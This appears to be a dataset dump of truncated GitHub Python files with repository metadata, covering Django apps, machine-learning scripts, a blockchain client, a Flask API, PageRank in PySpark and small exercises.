migrations.CreateModel(
name='Person',
fields=[
('id', models.AutoField(a... | [
"atulsyan850@gmail.com"
] | atulsyan850@gmail.com |
c892ca6475cd980d3c84c3c096bf2bd4ea6231d0 | f04d39dd682be3e1c6c2553a86b6fa440f973192 | /informer_vcard/urls.py | 18081a6711381b83de3c0f9a5300051d086d907b | [] | no_license | Wladislav/informer | 440ec52e206758ffa0f8d7dc5660eef32b9214a2 | 0741b72307225bc95a611db4e4ecb2ac679f994d | refs/heads/master | 2021-01-12T00:49:29.001674 | 2017-06-12T13:13:19 | 2017-06-12T13:13:19 | 78,301,977 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,441 | py | from django.conf.urls import include, url
from . import views
urlpatterns = [
url(r'^vcards/$', views.vcard_list, name='vcard_index'),
url(r'^vcards/vcard_list.json/$', views.vcard_list, name='vcard_index'),
url(r'^vcards/add/$', views.vcard_change, name='vcard_add'),
url(r'^vcards/[0-9a-f]{8}-([0-9a-f... | [
"photocritic72@gmail.com"
] | photocritic72@gmail.com |
1965d7d331cb5c014adede3f2bcbec2a73c14682 | 151d03ad99ae6100030a4f78c6c460f8541412b5 | /new_model_unseen_template/2_run_analysis_example.py | 30e038f61fdfb45feb5416c7bbfdd8d55dd0d352 | [
"BSD-3-Clause"
] | permissive | greenelab/sophie | 4dcb0bb5b35ac5794b40c7cc20377da6b5906807 | 5f07d8558890dca44202010f9e054f28735fae4a | refs/heads/main | 2023-05-29T15:44:36.029820 | 2022-07-05T19:06:29 | 2022-07-05T19:06:29 | 485,827,739 | 5 | 1 | BSD-3-Clause | 2022-07-05T19:06:30 | 2022-04-26T14:44:51 | Python | UTF-8 | Python | false | false | 14,545 | py | # ---
# jupyter:
# jupytext:
# formats: ipynb,py
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.9.1
# kernelspec:
# display_name: Python [conda env:sophie] *
# language: python
# name: conda-env-sophie-py
# ---
... | [
"alexjlee.21@gmail.com"
] | alexjlee.21@gmail.com |
407e57da096a27e7fe849dfebaf14391770fd017 | 4206744104467aa21a08fe66b8571dcad1c3479e | /versuch timegenerator.py | 2a0af7084d8ae43975cb74eed389bd25bfbceea0 | [] | no_license | Manuel-D92/Masterarbeit | 7f2bad173652cca4283b6b428b7eab8a94bae920 | bbaa590ab82d545ba008675449f00468fef13789 | refs/heads/main | 2023-05-10T15:21:27.457060 | 2021-06-07T18:31:20 | 2021-06-07T18:31:20 | 374,754,147 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,075 | py | from sklearn.model_selection import train_test_split
from sklearn import preprocessing
import numpy as np
from keras.preprocessing.sequence import TimeseriesGenerator
import tensorflow as tf
import matplotlib.pyplot as plt
from datetime import datetime
import torch
import pandas as pd
import os
#from tensorflow.keras.l... | [
"85513263+Manuel-D92@users.noreply.github.com"
] | 85513263+Manuel-D92@users.noreply.github.com |
a4c44f2e0343cc29ca7b39dda84c174ba0bae39a | 01733042e84a768b77f64ec24118d0242b2f13b8 | /ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/learnedfilter_dc8ce473700453874488c1ea95947fa8.py | 0e44fc370da4d80e98b03eef81573a428644af64 | [
"MIT"
] | permissive | slieberth/ixnetwork_restpy | e95673905854bc57e56177911cb3853c7e4c5e26 | 23eeb24b21568a23d3f31bbd72814ff55eb1af44 | refs/heads/master | 2023-01-04T06:57:17.513612 | 2020-10-16T22:30:55 | 2020-10-16T22:30:55 | 311,959,027 | 0 | 0 | NOASSERTION | 2020-11-11T12:15:34 | 2020-11-11T12:06:00 | null | UTF-8 | Python | false | false | 5,854 | py | # MIT LICENSE
#
# Copyright 1997 - 2020 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, ... | [
"andy.balogh@keysight.com"
] | andy.balogh@keysight.com |
f2fc421977a8d2618d5c627046454404bb3fc8c8 | a769aaa89f5314f3702e1926d86b4e6ece79d701 | /accounts/models.py | 3c077bbe1cdc2546621f45dc5c3c1e09b9f3f737 | [] | no_license | CASPER-REPSAC/casper-backend | 3bfb5e75dea8c9134f1c8cf0e6ea09e8f8500d65 | 5d2d21c15d0312e65b96bf0c0a84f52e4c57ca00 | refs/heads/main | 2023-07-13T18:39:47.297854 | 2021-07-12T06:11:37 | 2021-07-12T06:11:37 | 378,759,864 | 1 | 0 | null | 2021-09-07T04:23:11 | 2021-06-20T23:41:01 | Python | UTF-8 | Python | false | false | 2,836 | py | from django.db import models
from django.utils.translation import ugettext_lazy as _
from django.contrib.auth.models import AbstractUser, BaseUserManager
class UserManager(BaseUserManager):
def create_user(self, email, password, **extra_fields):
if not email:
raise ValueError(_('The Email must... | [
"noreply@github.com"
] | CASPER-REPSAC.noreply@github.com |
c464ce6e46bd8a08b34d12d4b84518bde3c23e0d | c79702519c499cc553d5d38b13d81ecadbda797c | /python_practice/exp/tutorials/mysite/mysite/settings.py | 70b3faf76f652743233899129c7d422799ed7e23 | [] | no_license | LeeJoohyon/Python_project | e7de60834a0e6596ffe0069438784c3bd8b6edde | 37dbfc9a480640a4f2ff000a461a9fb64367ebc2 | refs/heads/master | 2020-05-20T20:59:26.097060 | 2017-03-15T02:22:18 | 2017-03-15T02:22:18 | 84,523,494 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,097 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.10.5.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
... | [
"jhe0956@gmail.com"
] | jhe0956@gmail.com |
5b42eece199dfcaef7a177a031dc5463bfde4e0b | 31f4edfcdcd6fdf64fb29ea8153adcd3df4a21b7 | /django/dbase/migrations/0001_initial.py | b2e99c28310e6bed3c96cda910923c4b45f26222 | [] | no_license | djs-gitbub/Models3 | e01417003e8d832cbbe584a99cb78a9d8930d8dd | d48be17644ccc2cfdd5abd195e676dea8cfba81b | refs/heads/main | 2023-04-03T00:28:53.448919 | 2021-03-30T16:00:20 | 2021-03-30T16:00:20 | 353,058,113 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 658 | py | # Generated by Django 3.1.7 on 2021-03-30 15:27
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Vocab',
fields=[
('id', models.AutoField(au... | [
"selfedavid@gmail.com"
] | selfedavid@gmail.com |
8f1ad74885c3e26272c09d24c7a5c2073c619087 | bb8ed8b5aeede5f503ff5dac3870cf3817619282 | /trunk/soft/common/tools/change_pkg_proto.py | a4d8b24460f16c0c6a6455fd20e6e89f113f0b26 | [] | no_license | mengtest/idle | 561da3b4542ceca8a1b983e9214a57d6ecb7d22d | 6e7866d0f493155fbfc9c2c35062af833217cbd0 | refs/heads/master | 2022-03-01T00:07:51.808702 | 2019-10-31T11:09:22 | 2019-10-31T11:09:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | import sys
if __name__ == '__main__':
if len(sys.argv) > 1:
fname = sys.argv[1]
with open(fname, 'r') as f:
content = f.read()
flag = True
start = 0
while flag:
flag = False
i1 = content.find("_pb2 as ", start)
... | [
"rocketxyfb@163.com"
] | rocketxyfb@163.com |
bb2552195c1f2eeed8c3a81f66292e4bc14d7e1f | 32cb945b9836b6f10985aad8f92b879ee20ccb41 | /blog/models.py | b74733deba6618a1017d2c2fcdc17cc12ac192f1 | [] | no_license | Adrianzctpa/DjangoLearningBlog | 9db48efcf985a731ee16056961bd84784a7fef44 | 763a3f5397262777cfc5f21cd7de2cdbd8819242 | refs/heads/master | 2023-05-15T05:54:55.713061 | 2021-06-12T18:50:12 | 2021-06-12T18:55:25 | 376,334,074 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 649 | py | from django.db import models
from django.utils import timezone
from django.contrib.auth.models import User
from django.urls import reverse
class Post(models.Model):
title = models.CharField(max_length=100)
content = models.TextField()
date_posted = models.DateTimeField(default=timezone.now)
last_edited... | [
"nocommentaryadrian@gmail.com"
] | nocommentaryadrian@gmail.com |
b83c20614a7c84216cff5466d3b48076c7c69baa | 59fe6c8730fd1b70e8fb791ba294cb35b76f5908 | /pset6/credit/credit.py | 13e978e236efb66f0b016a532b26789c352557a3 | [] | no_license | mykolas-s/cs50_Harvard | 4ec155c336c8be240cb289d85deec882246fd45b | 13053db0184bca485a439f5ddf2c445674ee2fa4 | refs/heads/master | 2020-04-30T23:05:38.455299 | 2019-03-22T12:44:24 | 2019-03-22T12:44:24 | 177,135,746 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,028 | py | from cs50 import get_int
while True:
cc_number = get_int("credit card number: ")
if (cc_number):
break
string_number = str(cc_number)
digit_number = len(string_number) # how many digits there are in number
digit1 = int(string_number[0])
digit2 = int(string_number[1])
# magic formula
sum = 0
m = 1
for ... | [
"mykolas.sermuksnis@gmail.com"
] | mykolas.sermuksnis@gmail.com |
9055f539063c9603f998ca03a91b0406cc348a06 | 731e8ba383666085170fa74cef0511a36e009f42 | /utilities/robot_hand.py | 3d266c9d09901cdf6b5f199937a40104da0b97c2 | [
"MIT"
] | permissive | riccardosven/bypasser | 91e05587481fcca33b2cb4df9d484c94e5597679 | ffe079104879246a125ed29dba4bfe87e883b3d3 | refs/heads/master | 2021-05-28T22:43:42.356253 | 2015-07-09T14:27:23 | 2015-07-09T14:27:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 856 | py | #! /usr/bin/env python
###############################################################################
##
## robot_hand.py -- part of the bypasser program
##
## Copyright (c) 2014 Riccardo Sven Risuleo
##
## This software may be modified and distributed under the terms
## of the MIT license. See the LICENSE file for ... | [
"rsrsl"
] | rsrsl |
904c9c33359008e76bd3c89361e92714a6f69710 | 1b6836d8693f1e2644adc0e62f88f4f7ed5fc9cf | /kaggle/python/train_stats.py | 86362e6639c655158a1484cddbd49d9273ba2d55 | [] | no_license | gaudibr/datasci_course_materials | 0ea76da0d0cfcad94110593aa2fa7eb7a647c3c1 | 49ad8ddb29b256375f58c6f40d639b6162e35eef | refs/heads/master | 2020-12-25T00:29:02.172757 | 2013-07-06T00:48:54 | 2013-07-06T00:48:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,870 | py | """ This simple code is desinged to teach a basic user to read in the files in python, simply find what proportion of males and females survived and make a predictive model based on this
Author : AstroDave
Date : 18th September, 2012
"""
import csv as csv
import numpy as np
import math
#calculate entropy for the d... | [
"andre.ambrosio@me.com"
] | andre.ambrosio@me.com |
0928364e99cece0452c1080d6db49b5ce77a91f5 | 7803f266bbec4b1c83f383d92e1174a71e1684fd | /routes/api_topics.py | 7fd03335926a00dbf8c0492993356cd09036d52a | [] | no_license | tanqhnguyen/flask-demo | 38803fa272f86d45b75212579b215467a728cf0a | 75f0de717025262ffc2143a720e2c36868b65a9e | refs/heads/master | 2021-05-29T01:52:42.523982 | 2015-04-18T15:24:28 | 2015-04-18T15:24:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,949 | py | from flask import Blueprint, url_for, jsonify, request, g
from flask.ext.babel import gettext as _
from decorators import login_required, check_permission, get_topic
from utils import json_error, json_data, json_error_invalid_request, json_error_database, process_order_input
from models import Comment, Topic, db_sessi... | [
"laoshanlung@gmail.com"
] | laoshanlung@gmail.com |
4a383f71e3669538aef1ec2f18596c59815832a7 | 58716860230fd5cfc55355c6d603d8d2eb18646d | /libmodel/django/database_router.py | 19f1cef2c09e36040d61c5f15c3e569e444b23d7 | [
"MIT"
] | permissive | caser789/libmodel | f29b402fd5710d36a8e32c3670cfe89b50e0cfe9 | 8a063737ad568d3f9c4f7ddd78680582f71380f4 | refs/heads/master | 2020-05-18T15:55:31.376819 | 2019-05-06T09:07:47 | 2019-05-06T09:07:47 | 184,513,510 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 649 | py | class DatabaseRouter(object):
def db_for_read(self, model, **hints):
if hasattr(model, 'Config'):
if hasattr(model.Config, 'db_for_read'):
return model.Config.db_for_read
elif hasattr(model.Config, 'db_for_all'):
return model.Config.db_for_all
... | [
"jiao.xue@jiaoxue-mac.local"
] | jiao.xue@jiaoxue-mac.local |
c49705f6dd326f1e0802c350858608f5fa07c66c | 24bf46f243dc6efbe28b714b47b8e0302bb1296d | /Week8/ex3/string_match.py | be4ede72709e0bcf0df7e28b3fbf204a00d6b968 | [] | no_license | AizadaNur/WebDev | 5e14387dfa6d415de0ac2198f03857b8bb5fc602 | e1e14e6642b8ce4db7319779765de86c82dea331 | refs/heads/master | 2022-04-10T11:20:44.359588 | 2020-04-06T12:34:59 | 2020-04-06T12:34:59 | 250,175,834 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 244 | py | def string_match(a, b):
shorter = min(len(a), len(b))
count = 0
for i in range(shorter - 1):
a_sub = a[i:i + 2]
b_sub = b[i:i + 2]
if a_sub == b_sub:
count = count + 1
return count | [
"noreply@github.com"
] | AizadaNur.noreply@github.com |
f9795e22c2bfb02371122e898ea5d73349fc3146 | 791a66a3e9fbc554cbcb95685d511f82eb67b9bf | /src/generate_polys.py | 8e0bb7b178bd87607a1d3442b427b6802778d72f | [] | no_license | devingreene/order_perturbations_5loci | 0532c4c9800ca18cbcb38fd2d65aa25eb8f17bc8 | 3cc165da64b19ff468748519999e2d36c63e416f | refs/heads/master | 2020-03-27T21:28:59.086610 | 2018-09-03T19:42:09 | 2018-09-03T19:42:09 | 147,148,027 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,710 | py | from sympy.parsing.sympy_parser import parse_expr
__all__ = ['append_and_add_symbols','generate_polys','symbols']
symbols = set()
def append_and_add_symbols(lst,str_):
expr = parse_expr(str_)
lst.append(expr)
symbols.update(expr.free_symbols)
def _switch(bit):
return '0' if bit=='1' else '1' if bit ... | [
"devin@greene.cz"
] | devin@greene.cz |
e7286bf68d15b2d3db9a057f10671fc073ab2fe3 | de390163287fda86b73df015d6b6a3dc5e1bf736 | /Codechef/September 2019/Long Challenge/test.py | 3d59dfaf9a3263d8a1af70275f55da158193ba5d | [] | no_license | iamarshsingh/Competative_programming | fb71a7b62d4ba2846deae25203f9087f31a0b675 | 09418842d029b20d2df0f5b5a5e87619f44a18b3 | refs/heads/master | 2020-06-26T14:39:59.199295 | 2020-03-28T14:05:26 | 2020-03-28T14:05:26 | 97,026,462 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | arr = [ i for i in range(1,5001) ]
for i in range(1,5001):
sum = 0
for j in range(1,i+1):
sum = sum + ((i*i)//j)
#print(sum)
sum = (2*sum) - (i*i)
arr[i-1] = sum
print(arr) | [
"singh.arshdeep1999@gmail.com"
] | singh.arshdeep1999@gmail.com |
0715fd0b7eb50cb61eb5b8b45cab73ceb41c0401 | f4534e1f23add4255a810688cc2d1c6c10a4c9b3 | /ch07/ex7-1.py | 39a55a8d82466def138a5764f39a4b20b086866d | [
"MIT"
] | permissive | jasonhuayen91/Introduction_to_Computing_and_Programming_Using_Python | 610ee2c060dd45d04652fb823f29a88c6bca1c45 | 9f211e66f8711b6c35405a1f40f14fcf9637294a | refs/heads/master | 2021-05-29T23:21:40.326647 | 2015-03-03T16:41:54 | 2015-03-03T16:41:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 313 | py | def sumDigit(s):
"""sを文字列とする.
sの中の数字の合計を返す.
例えば, sが'a2b3c'ならば5を返す"""
ret = 0
for d in s:
try:
ret += int(d)
except ValueError:
pass
return ret
print(sumDigit('a2b3c') == 5)
| [
"premier3next@yahoo.co.jp"
] | premier3next@yahoo.co.jp |
6a3623bd08a74a8f907ecbdfc4368e677f98e843 | 9d0195aa83cc594a8c61f334b90375961e62d4fe | /JTTest/SL7/CMSSW_10_2_15/src/dataRunA/nano1433.py | a2fb809bcd5cf445b8aa9aa55ee1a7513b1de66e | [] | no_license | rsk146/CMS | 4e49592fc64f6438051544c5de18598db36ed985 | 5f8dab8c59ae556598b9747b52b88205fffc4dbe | refs/heads/master | 2022-12-01T03:57:12.126113 | 2020-08-04T03:29:27 | 2020-08-04T03:29:27 | 284,863,383 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,293 | py | # Auto generated configuration file
# using:
# Revision: 1.19
# Source: /local/reps/CMSSW/CMSSW/Configuration/Applications/python/ConfigBuilder.py,v
# with command line options: nanoAOD_jetToolbox_cff -s NANO --data --eventcontent NANOAOD --datatier NANOAOD --no_exec --conditions 102X_dataRun2_Sep2018Rereco_v1 --era... | [
"rsk146@scarletmail.rutgers.edu"
] | rsk146@scarletmail.rutgers.edu |
6a11fe9adff857a928b0588d1bfac4ecdd95741e | 9f83ef9c27c612cd210bc1abde7c91d2b0e8a552 | /A Night Game.py | fc1d744ef64ce2b52fff21812721feebb66f6298 | [] | no_license | Phoenix99Ash/Fichiers | 2d2d283f79684ebacb5a206fafe24c9cd1d130dd | e0d9adbb7ee13d1e4607242505b9e1206b3f1008 | refs/heads/master | 2021-05-20T23:13:39.892326 | 2020-04-02T13:37:47 | 2020-04-02T13:37:47 | 252,448,430 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 28,486 | py | from tkinter import*
from tkinter.messagebox import *
from tkinter.filedialog import *
#Ouverture de la feneêtre
menu = Tk()
menu.title('A night game - fenêtre principale')
a = 0
b = 0
nombredemort = 0
voiture = "propre"
combat = "gagné"
qui = "un mari honnête"
rob = "blanche et courte"
#Effaçage et o... | [
"noreply@github.com"
] | Phoenix99Ash.noreply@github.com |
163036a0922e097b9dee10af3986213a2f6e9248 | 15fa43735d620b87a823f817dadb71ffd75bbef1 | /Graph Theory/dijkstra.py | f755626aaeb9f3c6f8a3ed7a11863d8fd79d3b87 | [] | no_license | endianscript/HackerRank | 493f894208f43454b276ddbed439eab2a3f3db50 | 63c70fea45a50690cd108f3c28774b9329c918ed | refs/heads/master | 2021-01-11T05:45:08.501096 | 2016-10-12T20:27:17 | 2016-10-12T20:27:17 | 69,412,107 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,379 | py | import sys
import collections
from functools import total_ordering
class UndirectedGraphAM:
def __init__(self):
self.vertices = {}
def add_edge(self,u,v,weight=0):
edge_exists = False
if u not in self.vertices:
self.vertices[u] = {}
else:
if v in self... | [
"endianscript@gmail.com"
] | endianscript@gmail.com |
f14bd6aa41aa3ad7ff7125f37ea0a33130409c19 | 9e81f89418be3dbae1be1080ed807ec69b934af6 | /nulspy/nuls.py | 9bc41b7221117c20474c49e2c1593b8406bb9167 | [
"MIT"
] | permissive | xiangxn/nulspy | 373062ffd3a8fcda1e68e724082db137b39c769b | df2323bcb6fb76b16e236a5c2331a1a74ee99908 | refs/heads/master | 2021-02-18T13:15:19.957348 | 2020-12-02T14:44:43 | 2020-12-02T14:44:43 | 245,199,515 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,867 | py | from .api.rpc_api import RpcAPI
from coincurve import PrivateKey, PublicKey
from .transaction import Transaction
from .address import Address
from .define import Define
import nulspy.trxs.contract
import time
import math
class NULS:
def __init__(self, api_url, private_key, chain_id=2):
self.api_url = api_... | [
"xiangxn@163.com"
] | xiangxn@163.com |
e1341887af6e4a64307c55e2244b898adc56e6ab | 4cfbf85d5e14469a3f921a991f98782d1f28b2a7 | /pyspark/pagerank.py | d7ce1e903c99e891b6e115f90e92482ed4ffea9b | [] | no_license | jdepreter/ir-pagerank | cb7344a9bf0c92517f86015c32d4d1906214f76e | 24a957be358e5dd37de9e2b24868940732c930fa | refs/heads/master | 2023-01-31T03:39:39.449783 | 2020-12-14T11:21:59 | 2020-12-14T11:21:59 | 314,180,902 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,763 | py | import pprint
import findspark
findspark.init()
import pyspark
from pyspark import SparkContext, SparkConf, SQLContext
from pyspark.sql import SparkSession
inputfile = "../data/ClueWeb09_WG_50m_numbered.graph-txt"
alpha = float(0.15) # Teleportation probability
epsilon = 0.000001 # 10^-6
outputdir = "big0.15.... | [
"jolan.depreter@gmail.com"
] | jolan.depreter@gmail.com |
ed692ad0f8875dd61c658bec4a1044361b1b034a | 53eb0a066fd73b6996b9c547536699865d499686 | /ElementApp/base.py | 23e1cddd867e0d32a2ee7be40e59e7433977ce86 | [] | no_license | zhangliwen1112/HoliEBR-UI | 862e2aeda7b2884df2aa586f4cf630b50b91a1af | c755c978d2c977f4962a3f4426e93524fd5a5d4f | refs/heads/master | 2023-05-07T02:12:54.662392 | 2021-05-26T08:47:36 | 2021-05-26T08:47:36 | 360,793,231 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 862 | py | from selenium.webdriver.common.action_chains import ActionChains
class Page(object):
def __init__(self, driver):
self.driver = driver
def find_element(self, *loc):
return self.driver.find_element(*loc)
def find_elements(self, *loc):
return self.driver.find_elements(*loc)
def... | [
"411454954@qq.com"
] | 411454954@qq.com |
c7a6c28a2bd7b90845c3a1da592be76352b16c64 | 1da5c73824b84d7da15248c787fa9ec87276c862 | /bolsonaro_data/speeches_to_df.py | 5f91a17559c6dfcfc62c66bbaf2abf5376a5017b | [] | no_license | pbragamiranda/presidential-speeches-scraper | a6d8963e856d934131220ee5be17a26d6395df9f | 1bbf8c90ab72994aa398032b099b0788779f91ee | refs/heads/main | 2023-04-18T06:38:21.969808 | 2021-04-29T00:00:08 | 2021-04-29T00:00:08 | 358,831,123 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,170 | py | # import libraries
import csv
import uuid
import time
import os.path
import requests
from bs4 import BeautifulSoup
# create function to write to csv
def write_csv(filename):
unique_filename = uuid.uuid4().hex + '___' + filename
with open(f'csv_data/{unique_filename}', 'w', newline='') as file:
writer = csv.wri... | [
"pbragamiranda@gmail.com"
] | pbragamiranda@gmail.com |
c9f5462865456218e08ee41c59bc87ac1d9523dc | 6c922b75cd0f7b76d80d1f0e0b4e7e65b2d6ed52 | /code/plotting/snapshots_figure.py | 1d9e626e0257180007141e75fea28f3f7b6df149 | [] | no_license | mahdikooshkbaghi/stratified_heat_transport_paper2017 | 5f879e690908604272617915a8e2461b09d003a3 | db5864e37494f271da8cc0d533381e7378944daa | refs/heads/master | 2022-08-26T07:32:43.489533 | 2018-04-27T19:57:27 | 2018-04-27T19:57:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,502 | py | import matplotlib
matplotlib.use('Agg')
matplotlib.rcParams.update({'font.size': 11, 'axes.labelsize': 10})
from mpl_toolkits.axes_grid1 import make_axes_locatable
import matplotlib.pyplot as plt
plt.style.use('classic')
import matplotlib.patheffects as PathEffects
import matplotlib.colorbar as colorbar
from base.plot_... | [
"evan.anders@colorado.edu"
] | evan.anders@colorado.edu |
69b97a113143d549bb453db303f2de95572d0f28 | c9133d4769c73a07ed758321173be45fa342dc89 | /nevergrad/functions/powersystems/test_core.py | bb9a1893289c4bc1783d715ecde45308c1b77c59 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Dvermetten/nevergrad | dd1d2c6d483e13bc292b40fe07c8669f38c7e065 | 850418e9e4d00ee2e4fc12d8fc7a6981b0152641 | refs/heads/master | 2022-12-31T05:22:56.887260 | 2020-10-14T10:30:10 | 2020-10-14T10:30:10 | 276,113,571 | 0 | 0 | MIT | 2020-09-25T12:11:19 | 2020-06-30T13:54:19 | Python | UTF-8 | Python | false | false | 805 | py | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from unittest.mock import patch
import numpy as np
from . import core
def test_powersystem() -> None:
func = core.P... | [
"noreply@github.com"
] | Dvermetten.noreply@github.com |
3dd6b2986f6fd886dd1179e7b456bb349f201ad3 | e9156143e706fa7981f531dafb4fec72f42d9d78 | /snapflow_bi/functions/transaction_ltv_model/tests/test_transaction_ltv_model.py | 637af7409b431737d5b34b8640b2f23d389eff06 | [
"BSD-3-Clause"
] | permissive | kvh/snapflow-bi | b5a00b4c8902e663b400e4831da53ce7d1888a21 | 2e0877b19fb0738ba384b798ad1c5c33c4b3111e | refs/heads/master | 2023-06-07T20:27:16.467895 | 2021-06-18T15:17:20 | 2021-06-18T15:17:20 | 308,482,793 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,809 | py | inputs = {
"transactions": dict(
data="""
customer_id,transacted_at,amount
1,2020-01-01 00:00:00,100
2,2020-02-01 00:00:00,100
2,2020-03-01 00:00:00,100
3,2020-01-01 00:00:00,300
3,2020-04-01 00:00:00,400
4,2020-01-01 00:00:00,100
4,2020-02-01 ... | [
"kenvanharen@gmail.com"
] | kenvanharen@gmail.com |
3274b9a98d47833d3d76ef809e94da84a57f07b0 | 9d30498c2dd82670adeb23d75cdf984e37c25510 | /magenta/music/chords_lib_test.py | f9f704ff9389301ef8351a1ac053d7a8bcc0a8b4 | [
"Apache-2.0"
] | permissive | WhiteSymmetry/magenta | 3f363ca183fa6c4b2def8c3a04dc4f3ced1b8d41 | 92bc70ba0bf8355c73fba9a7bcd25de50fc58862 | refs/heads/master | 2021-01-13T10:04:16.441375 | 2016-10-27T18:26:11 | 2016-10-27T18:26:11 | 72,141,979 | 1 | 0 | null | 2016-10-27T19:40:02 | 2016-10-27T19:40:00 | Python | UTF-8 | Python | false | false | 9,538 | py | # Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [
"noreply@github.com"
] | WhiteSymmetry.noreply@github.com |
2211df4948417b4a5f75d899942dee9fef97d367 | c2c49af335789153dd5181868348532ab0d24912 | /funkcijanaloga5.py | aa3c3ff9f465529357eee59dda361dc90bc2253d | [] | no_license | Elerimlmao/Python-2020 | 04ec5026798095cafcb56be5b218fbf37d793b96 | d33640aa47fca6bb305121436be7de4a5856309b | refs/heads/master | 2020-12-10T11:28:21.949957 | 2020-01-16T22:02:26 | 2020-01-16T22:02:26 | 233,581,475 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 88 | py | list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9]
print("Največje število v listu je ", max(list1))
| [
"noreply@github.com"
] | Elerimlmao.noreply@github.com |
4c8257be407ae5d6604039ed1d3ef77cf90b98a1 | 7fd39373c9f53a92b406e18f59ac1b831e6399a2 | /accounts/migrations/0002_lover.py | c08b49659abd1c486470e1e52ad6a098bc677b56 | [] | no_license | aahmedsamy/l-backend | 5809cdf7af879458aef2c7a257861fd2f15fefca | 751c0a5121b6271a4c5f658b661680737e036054 | refs/heads/master | 2022-09-30T12:37:13.601137 | 2020-06-05T09:11:55 | 2020-06-05T09:11:55 | 212,978,960 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 829 | py | # Generated by Django 2.2.6 on 2019-10-08 22:59
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('accounts', '0001_initial'),
]
operations = [
migrations.CreateModel(
... | [
"aahmedsamy.as@gmail.com"
] | aahmedsamy.as@gmail.com |
45a1d583380f1466e5d9bdfac955d73b744aaf1a | d295d1b46b4694095587e36be504b44369fde06f | /chapter_19/136_Single_Number.py | 06d7bebec25f148d1e159568c1981b195217bf8c | [] | no_license | AIFFEL-coma-team01/Sanghyo | 3f58acb31d834591c50027dd974cfc236132b13a | 1e3b7c85157fa4fb437e0e12896331fb84451a90 | refs/heads/master | 2023-04-24T06:25:09.701974 | 2021-05-11T15:38:22 | 2021-05-11T15:38:22 | 329,206,989 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,697 | py | '''
Given a non-empty array of integers nums, every element appears twice except for one. Find that single one.
비어 있지 않은 정수 배열이 주어지면 모든 요소는 하나를 제외하고 두 번 나타납니다. 그 하나를 찾으십시오.
Follow up: Could you implement a solution with a linear runtime complexity and without using extra memory?
후속 조치 : 추가 메모리를 사용하지 않고 선형 런타임 복잡성으로 솔루... | [
"howixxxxu@gmail.com"
] | howixxxxu@gmail.com |
4855cc6db5beeeab58411c7ee41b8ec74176101c | d97fd9c0cb920a10c86d420f02e9731a40aa7a43 | /EX1_MLP.py | fe62fe4cc04d9ba43d7948bf4c6d279bd5500c53 | [] | no_license | tejareddy8888/Language-Classification-on-Twitter-Tweets- | fe84a4be9ca11469687277f54328303bfd38a744 | f2b0606bdc0f364b9b8d0873288d4325e6d1346b | refs/heads/master | 2021-01-04T05:17:48.690624 | 2020-02-14T01:43:28 | 2020-02-14T01:43:28 | 240,403,734 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,044 | py |
from __future__ import division, print_function, unicode_literals
import numpy as np
import os
import matplotlib as mpl
import matplotlib.pyplot as plt
import pandas as pd
from sklearn.model_selection import cross_val_score
from sklearn.naive_bayes import MultinomialNB
from sklearn.linear_model import SGDClas... | [
"noreply@github.com"
] | tejareddy8888.noreply@github.com |
6e2124708a83e98ff77c0a59c40e0542ef09c006 | ea5bc4fedbc076ce20fc51b0a6c0a231b1301fc0 | /tests/test_topchef_client_end_to_end.py | 8205f191f3715f810b426de384416170c960fbf3 | [] | no_license | TopChef/NMRClient | 57f1c692014291aebcd6febf30d8f5d1bb4d8ec7 | 40d1ae3f6bc585ef3707c01f46d8bfbe576bd279 | refs/heads/master | 2020-09-18T19:14:38.566893 | 2016-09-06T17:27:45 | 2016-09-06T17:27:45 | 67,529,509 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 615 | py | import sys
import time
